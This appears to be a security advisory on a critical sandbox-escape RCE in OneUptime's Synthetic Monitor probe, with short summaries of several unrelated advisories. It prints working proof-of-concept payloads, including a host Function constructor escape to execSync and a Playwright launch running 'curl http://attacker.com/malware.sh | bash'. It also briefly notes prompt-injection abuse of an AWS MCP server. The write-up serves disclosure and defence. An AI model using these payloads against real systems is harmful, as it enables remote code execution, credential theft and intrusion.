Mar 7, 2026·6 min read·29 visits
Critical RCE in OneUptime allows authenticated users to escape the Synthetic Monitor sandbox and execute arbitrary commands on the probe server. Fixed in version 10.0.20.
A critical Remote Code Execution (RCE) vulnerability exists in OneUptime versions prior to 10.0.20, specifically within the `oneuptime-probe` service. The vulnerability stems from an insecure implementation of a JavaScript sandbox used for Synthetic Monitors, allowing authenticated users with low privileges to execute arbitrary code on the host system. The flaw is caused by the exposure of dangerous host objects to the sandbox context and an incomplete `Proxy` implementation that fails to trap specific object property accessors, enabling a complete sandbox escape.
OneUptime provides a "Synthetic Monitor" feature that allows users to define custom monitoring logic using Playwright scripts. These scripts are executed by the oneuptime-probe service to simulate user interactions with web applications. To support this, the service executes user-supplied JavaScript within a Node.js vm context, attempting to isolate the execution environment from the host operating system and the main Node.js process.
The vulnerability arises from fundamental design flaws in how this isolation is implemented. While the system employs a custom Proxy wrapper to intercept and sanitize access to global objects, it fails to comprehensively implement all necessary Proxy traps. Furthermore, the architecture injects live, privileged Playwright objects directly into the untrusted context. This combination allows malicious scripts to bypass the intended security boundaries completely.
The impact is categorized as Critical (CVSS 9.9) because it grants Remote Code Execution (RCE) to any user with permission to create or edit monitors. Since probes are often deployed within internal networks to monitor private services, this vulnerability serves as a potent specific entry point for lateral movement within a compromised infrastructure.
The root cause of this vulnerability is twofold: the incomplete implementation of the JavaScript Proxy mechanism used for sandboxing, and the direct exposure of powerful host objects.
1. Incomplete Proxy Traps (Sandbox Escape):
The oneuptime-probe service uses a function createSandboxProxy to wrap objects exposed to the vm context. A JavaScript Proxy allows developers to define custom behavior for fundamental operations (traps) such as property lookup or assignment. However, the implementation in VMRunner.ts defined traps for get, apply, has, and ownKeys, but crucially omitted getOwnPropertyDescriptor.
When a script calls Object.getOwnPropertyDescriptor(target, prop) on a proxied object, and the proxy lacks the corresponding trap, the operation falls through to the target object. In this case, the target object exists in the host realm (outside the sandbox). The returned property descriptor contains references to the value's constructor. By accessing .value.constructor on a standard host object (like console.log), an attacker retrieves the host's Function constructor. This constructor can be used to generate new functions that execute in the host's context, bypassing the vm sandbox entirely.
2. Dangerous Object Exposure:
Even without the Proxy escape, the implementation explicitly injects the host's Playwright browser and page instances into the VM context in SyntheticMonitor.ts. The Playwright Browser object exposes the browserType() method, which includes a launch() function. This function accepts an executablePath argument, allowing the caller to spawn arbitrary executables (e.g., /bin/bash) on the underlying system. This design error provides a direct path to command execution without requiring complex prototype manipulation.
The following analysis highlights the specific deficiencies in the VMRunner.ts and SyntheticMonitor.ts files that facilitate this exploit.
The Proxy Trap Failure (VMRunner.ts):
The sandbox relies on createSandboxProxy to restrict access. A robust sandbox proxy must implement all invariant traps to prevent leakage of the underlying object identity. The vulnerable code implements a subset of traps, leaving getOwnPropertyDescriptor exposed.
// VMRunner.ts (Vulnerable Implementation Concept)
const createSandboxProxy = (target: any) => {
return new Proxy(target, {
get: (target, prop) => { /* Custom logic */ },
apply: (target, thisArg, args) => { /* Custom logic */ },
// MISSING: getOwnPropertyDescriptor
});
};Because getOwnPropertyDescriptor is missing, the following chain allows escape:
Object.getOwnPropertyDescriptor(console, 'log').console object.{ value: [Function: log], writable: true, ... }.value property is the host log function.value.constructor is the host Function constructor.The Host Object Injection (SyntheticMonitor.ts):
In Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts, the code initializes a Playwright environment and passes it directly to the VM runner.
// SyntheticMonitor.ts
const browser = await playwright.chromium.launch();
const context = await browser.newContext();
const page = await context.newPage();
// Vulnerability: Passing the raw host 'browser' object into the sandbox
await VMRunner.run(code, {
browser: browser, // <--- DIRECT EXPOSURE
page: page,
// ... other context variables
});By handing the browser instance to the untrusted code, the application effectively grants the script the same privileges as the oneuptime-probe process regarding process creation.
An attacker can exploit this vulnerability using the standard "Create Monitor" workflow in the OneUptime dashboard. No special network tooling is required; the attack is delivered purely via the application logic.
Vector A: Proxy Bypass (Sandbox Escape) This payload uses the missing proxy trap to reconstruct the process object, allowing execution of shell commands.
// In the "Playwright Code" editor:
// 1. Obtain the host Function constructor via the descriptor leak
const HostFunction = Object.getOwnPropertyDescriptor(console, "log").value.constructor;
// 2. Use HostFunction to create a function that returns the 'process' object
const getProcess = HostFunction("return process");
const proc = getProcess();
// 3. Import child_process and execute a reverse shell or command
const output = proc.mainModule.require("child_process").execSync("id").toString();
console.log(output); // Returns "uid=0(root) gid=0(root)..."Vector B: Playwright Abuse
This payload ignores the sandbox restrictions entirely by leveraging the authorized browser object to spawn a shell.
// In the "Playwright Code" editor:
// 1. Access the browser type (Chromium/Firefox/etc)
const browserType = browser.browserType();
// 2. Launch a new browser instance pointing to a system shell
await browserType.launch({
executablePath: '/bin/bash',
args: ['-c', 'curl http://attacker.com/malware.sh | bash']
});Both methods result in the execution of commands with the privileges of the probe container (typically root or a specialized service user).
The successful exploitation of this vulnerability yields full control over the oneuptime-probe instance. The severity is magnified by the typical deployment patterns of monitoring probes.
Confidentiality (High): Attackers can read all environment variables, which often contain database credentials, API keys for third-party services (e.g., Slack, Twilio), and internal service authentication tokens. They can also access the source code and configuration files within the container.
Integrity (High): Attackers can modify the probe's behavior to report false monitoring data, masking service outages or injecting false positives. They can also persist access by modifying the container's filesystem (if not read-only) or injecting malicious code into the probe's runtime.
Availability (High): Attackers can terminate the probe process, consume all available system resources (CPU/RAM) via fork bombs, or use the probe as a launchpad for Denial of Service attacks against other internal services.
Lateral Movement Risk: Probes are frequently deployed inside Kubernetes clusters or internal VPCs to monitor non-public endpoints. Compromising a probe allows the attacker to scan the internal network, interact with internal APIs (e.g., Kubernetes API server), and pivot to other sensitive systems that trust the probe's IP address.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@oneuptime/common OneUptime | < 10.0.20 | 10.0.20 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-749 |
| Attack Vector | Network |
| CVSS Score | 9.9 |
| Complexity | Low |
| Privileges Required | Low |
| Exploit Status | PoC Available |
Exposed Dangerous Method or Function
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.